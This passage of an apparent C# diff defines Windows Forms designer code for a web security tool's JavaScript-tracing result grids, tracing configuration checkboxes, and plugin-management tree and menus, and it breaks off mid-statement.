dataGridViewCellStyle44.SelectionForeColor = System.Drawing.SystemColors.HighlightText; + dataGridViewCellStyle44.WrapMode = System.Windows.Forms.DataGridViewTriState.True; + this.JsTraceResultsDomChangesGrid.ColumnHeadersDefaultCellStyle = dataGridViewCellStyle44; + this.JsTraceResultsDomChangesGrid.ColumnHeadersHeightSizeMode = System.Windows.Forms.DataGridViewColumnHeadersHeightSizeMode.DisableResizing; + this.JsTraceResultsDomChangesGrid.Columns.AddRange(new System.Windows.Forms.DataGridViewColumn[] { + this.dataGridViewTextBoxColumn14, + this.dataGridViewTextBoxColumn23, + this.dataGridViewTextBoxColumn24, + this.dataGridViewTextBoxColumn25, + this.dataGridViewTextBoxColumn33, + this.dataGridViewTextBoxColumn5, + this.JSTRDomChangesDetailsClmn}); + this.JsTraceResultsDomChangesGrid.Dock = System.Windows.Forms.DockStyle.Fill; + this.JsTraceResultsDomChangesGrid.EditMode = System.Windows.Forms.DataGridViewEditMode.EditProgrammatically; + this.JsTraceResultsDomChangesGrid.GridColor = System.Drawing.Color.White; + this.JsTraceResultsDomChangesGrid.Location = new System.Drawing.Point(0, 0); + this.JsTraceResultsDomChangesGrid.Margin = new System.Windows.Forms.Padding(0); + this.JsTraceResultsDomChangesGrid.MultiSelect = false; + this.JsTraceResultsDomChangesGrid.Name = "JsTraceResultsDomChangesGrid"; + this.JsTraceResultsDomChangesGrid.ReadOnly = true; + this.JsTraceResultsDomChangesGrid.RowHeadersVisible = false; + this.JsTraceResultsDomChangesGrid.RowHeadersWidth = 10; + this.JsTraceResultsDomChangesGrid.SelectionMode = System.Windows.Forms.DataGridViewSelectionMode.FullRowSelect; + this.JsTraceResultsDomChangesGrid.Size = new System.Drawing.Size(689, 217); + this.JsTraceResultsDomChangesGrid.TabIndex = 11; + this.JsTraceResultsDomChangesGrid.CellContentClick += new System.Windows.Forms.DataGridViewCellEventHandler(this.JsTraceResultsDomChangesGrid_CellContentClick); + this.JsTraceResultsDomChangesGrid.SelectionChanged += new System.EventHandler(this.JsTraceResultsDomChangesGrid_SelectionChanged); + // + // dataGridViewTextBoxColumn14 + // + this.dataGridViewTextBoxColumn14.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.AllCells; + this.dataGridViewTextBoxColumn14.HeaderText = "ID"; + this.dataGridViewTextBoxColumn14.MinimumWidth = 10; + this.dataGridViewTextBoxColumn14.Name = "dataGridViewTextBoxColumn14"; + this.dataGridViewTextBoxColumn14.ReadOnly = true; + this.dataGridViewTextBoxColumn14.Width = 43; + // + // dataGridViewTextBoxColumn23 + // + this.dataGridViewTextBoxColumn23.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.None; + this.dataGridViewTextBoxColumn23.HeaderText = "PAGE ID"; + this.dataGridViewTextBoxColumn23.MinimumWidth = 2; + this.dataGridViewTextBoxColumn23.Name = "dataGridViewTextBoxColumn23"; + this.dataGridViewTextBoxColumn23.ReadOnly = true; + this.dataGridViewTextBoxColumn23.Visible = false; + this.dataGridViewTextBoxColumn23.Width = 2; + // + // dataGridViewTextBoxColumn24 + // + this.dataGridViewTextBoxColumn24.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.AllCells; + this.dataGridViewTextBoxColumn24.HeaderText = "TIME"; + this.dataGridViewTextBoxColumn24.MinimumWidth = 10; + this.dataGridViewTextBoxColumn24.Name = "dataGridViewTextBoxColumn24"; + this.dataGridViewTextBoxColumn24.ReadOnly = true; + this.dataGridViewTextBoxColumn24.Width = 58; + // + // dataGridViewTextBoxColumn25 + // + this.dataGridViewTextBoxColumn25.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.AllCells; + this.dataGridViewTextBoxColumn25.HeaderText = "ORIGIN"; + this.dataGridViewTextBoxColumn25.MinimumWidth = 20; + this.dataGridViewTextBoxColumn25.Name = "dataGridViewTextBoxColumn25"; + this.dataGridViewTextBoxColumn25.ReadOnly = true; + this.dataGridViewTextBoxColumn25.Width = 70; + // + // dataGridViewTextBoxColumn33 + // + this.dataGridViewTextBoxColumn33.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.AllCells; + this.dataGridViewTextBoxColumn33.HeaderText = "ACTION"; + this.dataGridViewTextBoxColumn33.MinimumWidth = 30; + this.dataGridViewTextBoxColumn33.Name = "dataGridViewTextBoxColumn33"; + this.dataGridViewTextBoxColumn33.ReadOnly = true; + this.dataGridViewTextBoxColumn33.Width = 72; + // + // dataGridViewTextBoxColumn5 + // + this.dataGridViewTextBoxColumn5.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill; + this.dataGridViewTextBoxColumn5.HeaderText = "URL"; + this.dataGridViewTextBoxColumn5.Name = "dataGridViewTextBoxColumn5"; + this.dataGridViewTextBoxColumn5.ReadOnly = true; + // + // JSTRDomChangesDetailsClmn + // + this.JSTRDomChangesDetailsClmn.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.None; + this.JSTRDomChangesDetailsClmn.HeaderText = "DETAILS"; + this.JSTRDomChangesDetailsClmn.MinimumWidth = 50; + this.JSTRDomChangesDetailsClmn.Name = "JSTRDomChangesDetailsClmn"; + this.JSTRDomChangesDetailsClmn.ReadOnly = true; + this.JSTRDomChangesDetailsClmn.Visible = false; + this.JSTRDomChangesDetailsClmn.Width = 445; + // + // JsTraceResultsAjaxCallsTab + // + this.JsTraceResultsAjaxCallsTab.Controls.Add(this.JsTraceResultsAjaxCallsGrid); + this.JsTraceResultsAjaxCallsTab.Location = new System.Drawing.Point(4, 22); + this.JsTraceResultsAjaxCallsTab.Name = "JsTraceResultsAjaxCallsTab"; + this.JsTraceResultsAjaxCallsTab.Size = new System.Drawing.Size(689, 217); + this.JsTraceResultsAjaxCallsTab.TabIndex = 4; + this.JsTraceResultsAjaxCallsTab.Text = " Ajax Calls "; + this.JsTraceResultsAjaxCallsTab.UseVisualStyleBackColor = true; + // + // JsTraceResultsAjaxCallsGrid + // + this.JsTraceResultsAjaxCallsGrid.AllowUserToAddRows = false; + this.JsTraceResultsAjaxCallsGrid.AllowUserToDeleteRows = false; + this.JsTraceResultsAjaxCallsGrid.AllowUserToOrderColumns = true; + this.JsTraceResultsAjaxCallsGrid.AllowUserToResizeRows = false; + this.JsTraceResultsAjaxCallsGrid.AutoSizeColumnsMode = System.Windows.Forms.DataGridViewAutoSizeColumnsMode.Fill; + this.JsTraceResultsAjaxCallsGrid.BackgroundColor = System.Drawing.Color.White; + this.JsTraceResultsAjaxCallsGrid.BorderStyle = System.Windows.Forms.BorderStyle.None; + dataGridViewCellStyle45.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleCenter; + dataGridViewCellStyle45.BackColor = System.Drawing.SystemColors.Control; + dataGridViewCellStyle45.Font = new System.Drawing.Font("Microsoft Sans Serif", 8.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + dataGridViewCellStyle45.ForeColor = System.Drawing.SystemColors.WindowText; + dataGridViewCellStyle45.SelectionBackColor = System.Drawing.SystemColors.Highlight; + dataGridViewCellStyle45.SelectionForeColor = System.Drawing.SystemColors.HighlightText; + dataGridViewCellStyle45.WrapMode = System.Windows.Forms.DataGridViewTriState.True; + this.JsTraceResultsAjaxCallsGrid.ColumnHeadersDefaultCellStyle = dataGridViewCellStyle45; + this.JsTraceResultsAjaxCallsGrid.ColumnHeadersHeightSizeMode = System.Windows.Forms.DataGridViewColumnHeadersHeightSizeMode.DisableResizing; + this.JsTraceResultsAjaxCallsGrid.Columns.AddRange(new System.Windows.Forms.DataGridViewColumn[] { + this.dataGridViewTextBoxColumn38, + this.dataGridViewTextBoxColumn39, + this.dataGridViewTextBoxColumn40, + this.dataGridViewTextBoxColumn41, + this.dataGridViewTextBoxColumn42, + this.Column6, + this.dataGridViewTextBoxColumn6, + this.JSTRAjaxCallsDetailsClmn}); + this.JsTraceResultsAjaxCallsGrid.Dock = System.Windows.Forms.DockStyle.Fill; + this.JsTraceResultsAjaxCallsGrid.EditMode = System.Windows.Forms.DataGridViewEditMode.EditProgrammatically; + this.JsTraceResultsAjaxCallsGrid.GridColor = System.Drawing.Color.White; + this.JsTraceResultsAjaxCallsGrid.Location = new System.Drawing.Point(0, 0); + this.JsTraceResultsAjaxCallsGrid.Margin = new System.Windows.Forms.Padding(0); + this.JsTraceResultsAjaxCallsGrid.MultiSelect = false; + this.JsTraceResultsAjaxCallsGrid.Name = "JsTraceResultsAjaxCallsGrid"; + this.JsTraceResultsAjaxCallsGrid.ReadOnly = true; + this.JsTraceResultsAjaxCallsGrid.RowHeadersVisible = false; + this.JsTraceResultsAjaxCallsGrid.RowHeadersWidth = 10; + this.JsTraceResultsAjaxCallsGrid.SelectionMode = System.Windows.Forms.DataGridViewSelectionMode.FullRowSelect; + this.JsTraceResultsAjaxCallsGrid.Size = new System.Drawing.Size(689, 217); + this.JsTraceResultsAjaxCallsGrid.TabIndex = 12; + this.JsTraceResultsAjaxCallsGrid.CellContentClick += new System.Windows.Forms.DataGridViewCellEventHandler(this.JsTraceResultsAjaxCallsGrid_CellContentClick); + this.JsTraceResultsAjaxCallsGrid.SelectionChanged += new System.EventHandler(this.JsTraceResultsAjaxCallsGrid_SelectionChanged); + // + // dataGridViewTextBoxColumn38 + // + this.dataGridViewTextBoxColumn38.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.AllCells; + this.dataGridViewTextBoxColumn38.HeaderText = "ID"; + this.dataGridViewTextBoxColumn38.MinimumWidth = 10; + this.dataGridViewTextBoxColumn38.Name = "dataGridViewTextBoxColumn38"; + this.dataGridViewTextBoxColumn38.ReadOnly = true; + this.dataGridViewTextBoxColumn38.Width = 43; + // + // dataGridViewTextBoxColumn39 + // + this.dataGridViewTextBoxColumn39.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.None; + this.dataGridViewTextBoxColumn39.HeaderText = "PAGE ID"; + this.dataGridViewTextBoxColumn39.MinimumWidth = 2; + this.dataGridViewTextBoxColumn39.Name = "dataGridViewTextBoxColumn39"; + this.dataGridViewTextBoxColumn39.ReadOnly = true; + this.dataGridViewTextBoxColumn39.Visible = false; + this.dataGridViewTextBoxColumn39.Width = 2; + // + // dataGridViewTextBoxColumn40 + // + this.dataGridViewTextBoxColumn40.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.AllCells; + this.dataGridViewTextBoxColumn40.HeaderText = "TIME"; + this.dataGridViewTextBoxColumn40.MinimumWidth = 10; + this.dataGridViewTextBoxColumn40.Name = "dataGridViewTextBoxColumn40"; + this.dataGridViewTextBoxColumn40.ReadOnly = true; + this.dataGridViewTextBoxColumn40.Width = 58; + // + // dataGridViewTextBoxColumn41 + // + this.dataGridViewTextBoxColumn41.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.AllCells; + this.dataGridViewTextBoxColumn41.HeaderText = "SOURCE ORIGIN"; + this.dataGridViewTextBoxColumn41.MinimumWidth = 20; + this.dataGridViewTextBoxColumn41.Name = "dataGridViewTextBoxColumn41"; + this.dataGridViewTextBoxColumn41.ReadOnly = true; + this.dataGridViewTextBoxColumn41.Width = 118; + // + // dataGridViewTextBoxColumn42 + // + this.dataGridViewTextBoxColumn42.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.AllCells; + this.dataGridViewTextBoxColumn42.HeaderText = "TARGET ORIGIN"; + this.dataGridViewTextBoxColumn42.MinimumWidth = 30; + this.dataGridViewTextBoxColumn42.Name = "dataGridViewTextBoxColumn42"; + this.dataGridViewTextBoxColumn42.ReadOnly = true; + this.dataGridViewTextBoxColumn42.Width = 117; + // + // Column6 + // + this.Column6.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.AllCells; + this.Column6.HeaderText = "REFLECTION"; + this.Column6.Name = "Column6"; + this.Column6.ReadOnly = true; + this.Column6.Resizable = System.Windows.Forms.DataGridViewTriState.True; + this.Column6.SortMode = System.Windows.Forms.DataGridViewColumnSortMode.Automatic; + this.Column6.Width = 99; + // + // dataGridViewTextBoxColumn6 + // + this.dataGridViewTextBoxColumn6.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill; + this.dataGridViewTextBoxColumn6.HeaderText = "URL"; + this.dataGridViewTextBoxColumn6.Name = "dataGridViewTextBoxColumn6"; + this.dataGridViewTextBoxColumn6.ReadOnly = true; + // + // JSTRAjaxCallsDetailsClmn + // + this.JSTRAjaxCallsDetailsClmn.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.None; + this.JSTRAjaxCallsDetailsClmn.HeaderText = "DETAILS"; + this.JSTRAjaxCallsDetailsClmn.MinimumWidth = 50; + this.JSTRAjaxCallsDetailsClmn.Name = "JSTRAjaxCallsDetailsClmn"; + this.JSTRAjaxCallsDetailsClmn.ReadOnly = true; + this.JSTRAjaxCallsDetailsClmn.Visible = false; + this.JSTRAjaxCallsDetailsClmn.Width = 253; + // + // JsTraceResultsRTB + // + this.JsTraceResultsRTB.BackColor = System.Drawing.Color.White; + this.JsTraceResultsRTB.BorderStyle = System.Windows.Forms.BorderStyle.None; + this.JsTraceResultsRTB.DetectUrls = false; + this.JsTraceResultsRTB.Dock = System.Windows.Forms.DockStyle.Fill; + this.JsTraceResultsRTB.Location = new System.Drawing.Point(0, 0); + this.JsTraceResultsRTB.Name = "JsTraceResultsRTB"; + this.JsTraceResultsRTB.ReadOnly = true; + this.JsTraceResultsRTB.Size = new System.Drawing.Size(697, 195); + this.JsTraceResultsRTB.TabIndex = 1; + this.JsTraceResultsRTB.Text = ""; + // + // tabPage4 + // + this.tabPage4.Controls.Add(this.JsTraceReloadFilesLL); + this.tabPage4.Controls.Add(this.groupBox7); + this.tabPage4.Controls.Add(this.groupBox6); + this.tabPage4.Controls.Add(this.groupBox5); + this.tabPage4.Controls.Add(this.label35); + this.tabPage4.Location = new System.Drawing.Point(4, 22); + this.tabPage4.Margin = new System.Windows.Forms.Padding(0); + this.tabPage4.Name = "tabPage4"; + this.tabPage4.Size = new System.Drawing.Size(697, 440); + this.tabPage4.TabIndex = 1; + this.tabPage4.Text = " Config "; + this.tabPage4.UseVisualStyleBackColor = true; + // + // JsTraceReloadFilesLL + // + this.JsTraceReloadFilesLL.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); + this.JsTraceReloadFilesLL.AutoSize = true; + this.JsTraceReloadFilesLL.Location = new System.Drawing.Point(534, 18); + this.JsTraceReloadFilesLL.Name = "JsTraceReloadFilesLL"; + this.JsTraceReloadFilesLL.Size = new System.Drawing.Size(150, 13); + this.JsTraceReloadFilesLL.TabIndex = 36; + this.JsTraceReloadFilesLL.TabStop = true; + this.JsTraceReloadFilesLL.Text = "Reload JavaScript tracing files"; + this.JsTraceReloadFilesLL.LinkClicked += new System.Windows.Forms.LinkLabelLinkClickedEventHandler(this.JsTraceReloadFilesLL_LinkClicked); + // + // groupBox7 + // + this.groupBox7.Controls.Add(this.JsTraceMonitorXhrCB); + this.groupBox7.Location = new System.Drawing.Point(13, 183); + this.groupBox7.Name = "groupBox7"; + this.groupBox7.Size = new System.Drawing.Size(671, 42); + this.groupBox7.TabIndex = 35; + this.groupBox7.TabStop = false; + this.groupBox7.Text = "AJAX"; + // + // JsTraceMonitorXhrCB + // + this.JsTraceMonitorXhrCB.AutoSize = true; + this.JsTraceMonitorXhrCB.Checked = true; + this.JsTraceMonitorXhrCB.CheckState = System.Windows.Forms.CheckState.Checked; + this.JsTraceMonitorXhrCB.Location = new System.Drawing.Point(8, 19); + this.JsTraceMonitorXhrCB.Name = "JsTraceMonitorXhrCB"; + this.JsTraceMonitorXhrCB.Size = new System.Drawing.Size(251, 17); + this.JsTraceMonitorXhrCB.TabIndex = 30; + this.JsTraceMonitorXhrCB.Text = "Monitor XMLHttpRequest\'s open and send calls"; + this.JsTraceMonitorXhrCB.UseVisualStyleBackColor = true; + this.JsTraceMonitorXhrCB.CheckedChanged += new System.EventHandler(this.JsTraceConfigCBS_CheckedChanged); + // + // groupBox6 + // + this.groupBox6.Controls.Add(this.JsTraceMonitorInnerHtmlCB); + this.groupBox6.Location = new System.Drawing.Point(13, 121); + this.groupBox6.Name = "groupBox6"; + this.groupBox6.Size = new System.Drawing.Size(673, 49); + this.groupBox6.TabIndex = 34; + this.groupBox6.TabStop = false; + this.groupBox6.Text = "DOM Changes"; + // + // JsTraceMonitorInnerHtmlCB + // + this.JsTraceMonitorInnerHtmlCB.AutoSize = true; + this.JsTraceMonitorInnerHtmlCB.Checked = true; + this.JsTraceMonitorInnerHtmlCB.CheckState = System.Windows.Forms.CheckState.Checked; + this.JsTraceMonitorInnerHtmlCB.Location = new System.Drawing.Point(11, 21); + this.JsTraceMonitorInnerHtmlCB.Name = "JsTraceMonitorInnerHtmlCB"; + this.JsTraceMonitorInnerHtmlCB.Size = new System.Drawing.Size(401, 17); + this.JsTraceMonitorInnerHtmlCB.TabIndex = 27; + this.JsTraceMonitorInnerHtmlCB.Text = "Monitor innerHTML assignments, attribute changes and other DOM modification"; + this.JsTraceMonitorInnerHtmlCB.UseVisualStyleBackColor = true; + this.JsTraceMonitorInnerHtmlCB.CheckedChanged += new System.EventHandler(this.JsTraceConfigCBS_CheckedChanged); + // + // groupBox5 + // + this.groupBox5.Controls.Add(this.JsTraceMonitorFunctionMethodCB); + this.groupBox5.Controls.Add(this.JsTraceMonitorSetTimeoutCB); + this.groupBox5.Controls.Add(this.JsTraceMonitorEvalCB); + this.groupBox5.Controls.Add(this.JsTraceMonitorSetIntervalCB); + this.groupBox5.Controls.Add(this.JsTraceMonitorNonNativeMethodCB); + this.groupBox5.Location = new System.Drawing.Point(13, 39); + this.groupBox5.Name = "groupBox5"; + this.groupBox5.Size = new System.Drawing.Size(671, 71); + this.groupBox5.TabIndex = 33; + this.groupBox5.TabStop = false; + this.groupBox5.Text = "Methods"; + // + // JsTraceMonitorFunctionMethodCB + // + this.JsTraceMonitorFunctionMethodCB.AutoSize = true; + this.JsTraceMonitorFunctionMethodCB.Checked = true; + this.JsTraceMonitorFunctionMethodCB.CheckState = System.Windows.Forms.CheckState.Checked; + this.JsTraceMonitorFunctionMethodCB.Location = new System.Drawing.Point(455, 20); + this.JsTraceMonitorFunctionMethodCB.Name = "JsTraceMonitorFunctionMethodCB"; + this.JsTraceMonitorFunctionMethodCB.Size = new System.Drawing.Size(167, 17); + this.JsTraceMonitorFunctionMethodCB.TabIndex = 30; + this.JsTraceMonitorFunctionMethodCB.Text = "Monitor Function method calls"; + this.JsTraceMonitorFunctionMethodCB.UseVisualStyleBackColor = true; + this.JsTraceMonitorFunctionMethodCB.CheckedChanged += new System.EventHandler(this.JsTraceConfigCBS_CheckedChanged); + // + // JsTraceMonitorSetTimeoutCB + // + this.JsTraceMonitorSetTimeoutCB.AutoSize = true; + this.JsTraceMonitorSetTimeoutCB.Checked = true; + this.JsTraceMonitorSetTimeoutCB.CheckState = System.Windows.Forms.CheckState.Checked; + this.JsTraceMonitorSetTimeoutCB.Location = new System.Drawing.Point(134, 21); + this.JsTraceMonitorSetTimeoutCB.Name = "JsTraceMonitorSetTimeoutCB"; + this.JsTraceMonitorSetTimeoutCB.Size = new System.Drawing.Size(140, 17); + this.JsTraceMonitorSetTimeoutCB.TabIndex = 25; + this.JsTraceMonitorSetTimeoutCB.Text = "Monitor setTimeout calls"; + this.JsTraceMonitorSetTimeoutCB.UseVisualStyleBackColor = true; + this.JsTraceMonitorSetTimeoutCB.CheckedChanged += new System.EventHandler(this.JsTraceConfigCBS_CheckedChanged); + // + // JsTraceMonitorEvalCB + // + this.JsTraceMonitorEvalCB.AutoSize = true; + this.JsTraceMonitorEvalCB.Checked = true; + this.JsTraceMonitorEvalCB.CheckState = System.Windows.Forms.CheckState.Checked; + this.JsTraceMonitorEvalCB.Location = new System.Drawing.Point(9, 21); + this.JsTraceMonitorEvalCB.Name = "JsTraceMonitorEvalCB"; + this.JsTraceMonitorEvalCB.Size = new System.Drawing.Size(108, 17); + this.JsTraceMonitorEvalCB.TabIndex = 24; + this.JsTraceMonitorEvalCB.Text = "Monitor eval calls"; + this.JsTraceMonitorEvalCB.UseVisualStyleBackColor = true; + this.JsTraceMonitorEvalCB.CheckedChanged += new System.EventHandler(this.JsTraceConfigCBS_CheckedChanged); + // + // JsTraceMonitorSetIntervalCB + // + this.JsTraceMonitorSetIntervalCB.AutoSize = true; + this.JsTraceMonitorSetIntervalCB.Checked = true; + this.JsTraceMonitorSetIntervalCB.CheckState = System.Windows.Forms.CheckState.Checked; + this.JsTraceMonitorSetIntervalCB.Location = new System.Drawing.Point(296, 21); + this.JsTraceMonitorSetIntervalCB.Name = "JsTraceMonitorSetIntervalCB"; + this.JsTraceMonitorSetIntervalCB.Size = new System.Drawing.Size(137, 17); + this.JsTraceMonitorSetIntervalCB.TabIndex = 28; + this.JsTraceMonitorSetIntervalCB.Text = "Monitor setInterval calls"; + this.JsTraceMonitorSetIntervalCB.UseVisualStyleBackColor = true; + this.JsTraceMonitorSetIntervalCB.CheckedChanged += new System.EventHandler(this.JsTraceConfigCBS_CheckedChanged); + // + // JsTraceMonitorNonNativeMethodCB + // + this.JsTraceMonitorNonNativeMethodCB.AutoSize = true; + this.JsTraceMonitorNonNativeMethodCB.Location = new System.Drawing.Point(9, 44); + this.JsTraceMonitorNonNativeMethodCB.Name = "JsTraceMonitorNonNativeMethodCB"; + this.JsTraceMonitorNonNativeMethodCB.Size = new System.Drawing.Size(176, 17); + this.JsTraceMonitorNonNativeMethodCB.TabIndex = 29; + this.JsTraceMonitorNonNativeMethodCB.Text = "Monitor non-native method calls"; + this.JsTraceMonitorNonNativeMethodCB.UseVisualStyleBackColor = true; + this.JsTraceMonitorNonNativeMethodCB.Visible = false; + this.JsTraceMonitorNonNativeMethodCB.CheckedChanged += new System.EventHandler(this.JsTraceConfigCBS_CheckedChanged); + // + // label35 + // + this.label35.AutoSize = true; + this.label35.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(255)))), ((int)(((byte)(128)))), ((int)(((byte)(0))))); + this.label35.Location = new System.Drawing.Point(10, 18); + this.label35.Name = "label35"; + this.label35.Size = new System.Drawing.Size(397, 13); + this.label35.TabIndex = 36; + this.label35.Text = "Configuration changes only take effect after you reload the current page in brows" + + "er"; + // + // mt_dev + // + this.mt_dev.Controls.Add(this.DevMainTabs); + this.mt_dev.Location = new System.Drawing.Point(4, 22); + this.mt_dev.Margin = new System.Windows.Forms.Padding(0); + this.mt_dev.Name = "mt_dev"; + this.mt_dev.Size = new System.Drawing.Size(705, 511); + this.mt_dev.TabIndex = 11; + this.mt_dev.Text = " Dev "; + this.mt_dev.UseVisualStyleBackColor = true; + // + // DevMainTabs + // + this.DevMainTabs.Controls.Add(this.DevModulesAndPluginsTab); + this.DevMainTabs.Controls.Add(this.DevTraceTab); + this.DevMainTabs.Controls.Add(this.DevHelpTab); + this.DevMainTabs.Dock = System.Windows.Forms.DockStyle.Fill; + this.DevMainTabs.Location = new System.Drawing.Point(0, 0); + this.DevMainTabs.Margin = new System.Windows.Forms.Padding(0); + this.DevMainTabs.Name = "DevMainTabs"; + this.DevMainTabs.Padding = new System.Drawing.Point(0, 0); + this.DevMainTabs.SelectedIndex = 0; + this.DevMainTabs.Size = new System.Drawing.Size(705, 511); + this.DevMainTabs.TabIndex = 0; + // + // DevModulesAndPluginsTab + // + this.DevModulesAndPluginsTab.Controls.Add(this.PluginsMainSplit); + this.DevModulesAndPluginsTab.Location = new System.Drawing.Point(4, 22); + this.DevModulesAndPluginsTab.Margin = new System.Windows.Forms.Padding(0); + this.DevModulesAndPluginsTab.Name = "DevModulesAndPluginsTab"; + this.DevModulesAndPluginsTab.Size = new System.Drawing.Size(697, 485); + this.DevModulesAndPluginsTab.TabIndex = 0; + this.DevModulesAndPluginsTab.Text = " Plugins & Modules "; + this.DevModulesAndPluginsTab.UseVisualStyleBackColor = true; + // + // PluginsMainSplit + // + this.PluginsMainSplit.Dock = System.Windows.Forms.DockStyle.Fill; + this.PluginsMainSplit.Location = new System.Drawing.Point(0, 0); + this.PluginsMainSplit.Margin = new System.Windows.Forms.Padding(0); + this.PluginsMainSplit.Name = "PluginsMainSplit"; + // + // PluginsMainSplit.Panel1 + // + this.PluginsMainSplit.Panel1.Controls.Add(this.PluginAndModuleTree); + // + // PluginsMainSplit.Panel2 + // + this.PluginsMainSplit.Panel2.Controls.Add(this.PluginEditorSplit); + this.PluginsMainSplit.Size = new System.Drawing.Size(697, 485); + this.PluginsMainSplit.SplitterDistance = 125; + this.PluginsMainSplit.SplitterWidth = 2; + this.PluginsMainSplit.TabIndex = 2; + // + // PluginAndModuleTree + // + this.PluginAndModuleTree.BorderStyle = System.Windows.Forms.BorderStyle.FixedSingle; + this.PluginAndModuleTree.ContextMenuStrip = this.PluginTreeMenu; + this.PluginAndModuleTree.Dock = System.Windows.Forms.DockStyle.Fill; + this.PluginAndModuleTree.Location = new System.Drawing.Point(0, 0); + this.PluginAndModuleTree.Margin = new System.Windows.Forms.Padding(0); + this.PluginAndModuleTree.Name = "PluginAndModuleTree"; + this.PluginAndModuleTree.ShowRootLines = false; + this.PluginAndModuleTree.Size = new System.Drawing.Size(125, 485); + this.PluginAndModuleTree.TabIndex = 0; + this.PluginAndModuleTree.AfterSelect += new System.Windows.Forms.TreeViewEventHandler(this.PluginTree_AfterSelect); + // + // PluginTreeMenu + // + this.PluginTreeMenu.Items.AddRange(new System.Windows.Forms.ToolStripItem[] { + this.SelectedPluginDeactivateToolStripMenuItem, + this.SelectedPluginReloadToolStripMenuItem, + this.SelectedModuleReloadToolStripMenuItem, + this.allPluginsToolStripMenuItem, + this.passivePluginsToolStripMenuItem, + this.activePluginsToolStripMenuItem, + this.formatPluginsToolStripMenuItem, + this.sessionPluginsToolStripMenuItem}); + this.PluginTreeMenu.Name = "ProxyLogMenu"; + this.PluginTreeMenu.Size = new System.Drawing.Size(214, 180); + this.PluginTreeMenu.Opening += new System.ComponentModel.CancelEventHandler(this.PluginTreeMenu_Opening); + // + // SelectedPluginDeactivateToolStripMenuItem + // + this.SelectedPluginDeactivateToolStripMenuItem.Name = "SelectedPluginDeactivateToolStripMenuItem"; + this.SelectedPluginDeactivateToolStripMenuItem.Size = new System.Drawing.Size(213, 22); + this.SelectedPluginDeactivateToolStripMenuItem.Text = "Deactivate Selected Plugin"; + this.SelectedPluginDeactivateToolStripMenuItem.Click += new System.EventHandler(this.SelectedPluginDeactivateToolStripMenuItem_Click); + // + // SelectedPluginReloadToolStripMenuItem + // + this.SelectedPluginReloadToolStripMenuItem.Name = "SelectedPluginReloadToolStripMenuItem"; + this.SelectedPluginReloadToolStripMenuItem.Size = new System.Drawing.Size(213, 22); + this.SelectedPluginReloadToolStripMenuItem.Text = "Reload Selected Plugin"; + this.SelectedPluginReloadToolStripMenuItem.Click += new System.EventHandler(this.SelectedPluginReloadToolStripMenuItem_Click); + // + // SelectedModuleReloadToolStripMenuItem + // + this.SelectedModuleReloadToolStripMenuItem.Name = "SelectedModuleReloadToolStripMenuItem"; + this.SelectedModuleReloadToolStripMenuItem.Size = new System.Drawing.Size(213, 22); + this.SelectedModuleReloadToolStripMenuItem.Text = "Reload Selected Module"; + this.SelectedModuleReloadToolStripMenuItem.Click += new System.EventHandler(this.SelectedModuleReloadToolStripMenuItem_Click); + // + // allPluginsToolStripMenuItem + // + this.allPluginsToolStripMenuItem.DropDownItems.AddRange(new System.Windows.Forms.ToolStripItem[] { + this.AllPluginsRAToolStripMenuItem, + this.AllPluginsANToolStripMenuItem}); + this.allPluginsToolStripMenuItem.Name = "allPluginsToolStripMenuItem"; + this.allPluginsToolStripMenuItem.Size = new System.Drawing.Size(213, 22); + this.allPluginsToolStripMenuItem.Text = "All Plugins"; + // + // AllPluginsRAToolStripMenuItem + // + this.AllPluginsRAToolStripMenuItem.Name = "AllPluginsRAToolStripMenuItem"; + this.AllPluginsRAToolStripMenuItem.Size = new System.Drawing.Size(127, 22); + this.AllPluginsRAToolStripMenuItem.Text = "Reload All"; + this.AllPluginsRAToolStripMenuItem.Click += new System.EventHandler(this.AllPluginsRAToolStripMenuItem_Click); + // + // AllPluginsANToolStripMenuItem + // + this.AllPluginsANToolStripMenuItem.Name = "AllPluginsANToolStripMenuItem"; + this.AllPluginsANToolStripMenuItem.Size = new System.Drawing.Size(127, 22); + this.AllPluginsANToolStripMenuItem.Text = "Add New"; + this.AllPluginsANToolStripMenuItem.Click += new System.EventHandler(this.AllPluginsANToolStripMenuItem_Click); + // + // passivePluginsToolStripMenuItem + // + this.passivePluginsToolStripMenuItem.DropDownItems.AddRange(new System.Windows.Forms.ToolStripItem[] { + this.PassivePluginsRAToolStripMenuItem, + this.PassivePluginsANToolStripMenuItem}); + this.passivePluginsToolStripMenuItem.Name = "passivePluginsToolStripMenuItem"; + this.passivePluginsToolStripMenuItem.Size = new System.Drawing.Size(213, 22); + this.passivePluginsToolStripMenuItem.Text = "Passive Plugins"; + // + // PassivePluginsRAToolStripMenuItem + // + this.PassivePluginsRAToolStripMenuItem.Name = "PassivePluginsRAToolStripMenuItem"; + this.PassivePluginsRAToolStripMenuItem.Size = new System.Drawing.Size(127, 22); + this.PassivePluginsRAToolStripMenuItem.Text = "Reload All"; + this.PassivePluginsRAToolStripMenuItem.Click += new System.EventHandler(this.PassivePluginsRAToolStripMenuItem_Click); + // + // PassivePluginsANToolStripMenuItem + // + this.PassivePluginsANToolStripMenuItem.Name = "PassivePluginsANToolStripMenuItem"; + this.PassivePluginsANToolStripMenuItem.Size = new 